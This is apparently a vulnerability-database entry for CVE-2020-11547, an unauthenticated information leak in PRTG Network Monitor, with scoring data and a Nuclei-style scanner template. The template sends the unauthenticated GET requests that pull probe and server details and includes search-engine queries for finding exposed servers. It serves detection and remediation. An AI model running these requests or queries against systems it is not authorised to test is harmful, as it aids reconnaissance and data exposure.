5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.1 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
44.5%
PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2020-11547
info:
name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure
author: x6263
severity: medium
description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the PRTG Network Monitor.
remediation: |
Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.
reference:
- https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
- https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
- https://nvd.nist.gov/vuln/detail/CVE-2020-11547
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-11547
cwe-id: CWE-306
epss-score: 0.0011
epss-percentile: 0.44069
cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: paessler
product: prtg_network_monitor
shodan-query:
- title:"prtg"
- http.title:"prtg"
fofa-query: title="prtg"
google-query: intitle:"prtg"
tags: cve2020,cve,prtg,disclosure,paessler
http:
- method: GET
path:
- "{{BaseURL}}/public/login.htm?type=probes"
- "{{BaseURL}}/public/login.htm?type=requests"
- "{{BaseURL}}/public/login.htm?type=treestat"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"
- type: word
part: body
words:
- "prtg_network_monitor"
- "Probes"
- "Groups"
condition: or
- type: status
status:
- 200
# digest: 490a0046304402206ec1b613324d89f19d4ca4692a2b523f25d073de7a1ef1d288d76e04a148eefd022051fc99e5431ee45f62aed66e653c6254d824e25cbdfacd09f5d00ec5e77f7675:922c64590222798bb761d5b6d8e72950
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.1 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
44.5%